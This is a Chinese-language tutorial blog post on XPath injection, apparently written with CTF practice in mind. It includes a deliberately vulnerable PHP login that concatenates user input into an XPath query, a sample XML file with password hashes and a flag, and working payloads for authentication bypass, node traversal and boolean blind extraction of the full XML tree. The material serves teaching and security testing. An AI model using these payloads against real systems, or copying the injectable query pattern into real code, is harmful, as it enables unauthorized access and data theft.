XPath 注入指北
XPath 是一门在 XML 文档中查找信息的语言,类比来看, XML 为数据库,XPath 为 SQL语言,用于查询数据。有查询嘛,十有八九就有注入的方式。
XPath 简介
XPath
,经常写爬虫的人应该都不陌生。比如 Python 中,经常使用 lxml 来获取网页的元素,特别方便。
对应的 Chrome 也有一个插件,叫 XPath Helper
,能直接给出鼠标所在的 XPath 路径:
还有一个利用 XPath 在线解析 xml 的,传送门🚪
强烈推荐,这些辅助工具都很好用。
XPath 极速入门
菜鸟教程:传送门🚪
助攻函数
字符串相关
- codepoints-to-string(a, b, c, ...):将数字 a、b、c 转为对应的字符, Python 的
chr
函数类似。 - string-to-codepoints(string):与上面的相反
- compare(a, b, rule):比大小,func 是比较大小的规则
- string-join((string, string, ...), sep):使用 sep 参数作为分隔符,来返回 string 参数拼接后的字符串。
- substring(string, start [,len]):返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
- string-length([string]):返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。
其他函数
- count(item[, item1, ...]):返回节点的数量。
- position():返回当前正在被处理的节点的 index 位置。
- last():返回在被处理的节点列表中的项目数目。
- name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。
注入类型
XPath 注入基本上被分为常规注入和布尔盲注。测试代码如下:
users.xml:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type="md5">0192023a7bbd73250516f069df18b500</password>
</user>
<user>
<id>2</id>
<username>jack</username>
<password type="md5">1d6c1e168e362bc0092f247399003a88</password>
</user>
<user>
<id>3</id>
<username>tony</username>
<password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
</user>
</users>
<secret>
<flag>flag{My_f1rst_xp4th_iNjecti0n}</flag>
</secret>
</root>
index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
$xml = simplexml_load_file('users.xml');
$name = $_GET['u'];
$pwd = md5($_GET['p']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
echo '<h2>Welcome</h2>';
foreach ($result as $key => $value) {
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}
常规注入
万能密码
这段测试代码的查询语句如下:
1
/root/users/user[username/text()='' and password/text()='']
显而易见,注入点只有 username,因为 password 会进行 md5。首先很容易想到万能密码:
payload:
1
2u = "admin' or '1"
p = ""
结果:
1
/root/users/user[username/text()='admin' or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
这个 payload 需要知道一个存在的用户名。如果不知道的话,再加个 or
就行了:
payload
1
2u = "' or 1 or '1"
p= ""
结果
1
/root/users/user[username/text()='' or 1 or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
这里顺便一提,XPath 没有注释一说,所以构造的 payload 要精巧地闭合原语句。
节点遍历
payload
1
2u = "admin'] | //* | //*['"
p = ""
结果
1
/root/users/user[username/text()=''] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
需要注意的是,这里的 |
(路径运算符)不能用 or
(布尔运算符) 替代,它们是不一样的。
显然,节点遍历也能起到万能密码的作用,且无需知道一个存在的用户名。
布尔盲注
上面的节点遍历
实际上是有点问题的,很明显我们没有拿到所有的数据,原因是 php 只会输出 id
和 username
。从上面的截图也可以看出来,如果某个节点的名字不是 id 或者 username,php 就会打印空数据。这个时候就只能利用布尔盲注来获取数据了。
- 判断根节点数量:
payload:
1
u = "' or count(/)=1 or '1"
count(/)=1
一直到count(/)=n
,判断出根节点有几个。
当
1
u = "' or count(/)=1 or '1"
返回正常,说明只有 1 个根节点。 - 获取根节点名
首先获取名字长度。
payload:
1
u = "' or string-length(name(/*[1]))=1 or '1"
string-length(name(/*[1]))=1
一直到string-length(name(/*[1]))=1
,判断出第一个根节点的名字长度。
当
1
u = "' or string-length(name(/*[1]))=4 or '1"
返回正常,说明第一个根节点的名字长度为 4。
接下来获取逐个字符获取名字
payload
1
u = "' or substring(name(/*[1]), 1, 1)='a' or '1"
遍历完所有的 ascii 字符后,判断出第一个根节点的名字的第一个字符。
当
1
u = "' or substring(name(/*[1]), 1, 1)='r' or '1"
返回正常,说明第一个根节点的名字的第一个字符为r
。按照这个方法,可以判断出根节点名称为root
。
按照上述步骤,可知 root 下的子节点数为 2,第一个子节点的名称为users
,第二个为secret
...不断重复上述过程,即可拿到完整的 XML 文件。
技巧
XPath 中有很多函数、Axes 可以替代类似/
路径的作用,例如root()
返回根节点、child
选取当前节点的所有子元素等等。
Axes 在这找:传送门🚪
函数可以在这里找找:传送门🚪
总结
XPath 注入和 SQl 注入特别类似,比较简单。目前我只在 CTF 中遇到过一次,现实中倒是没有遇见过。
来呀快活呀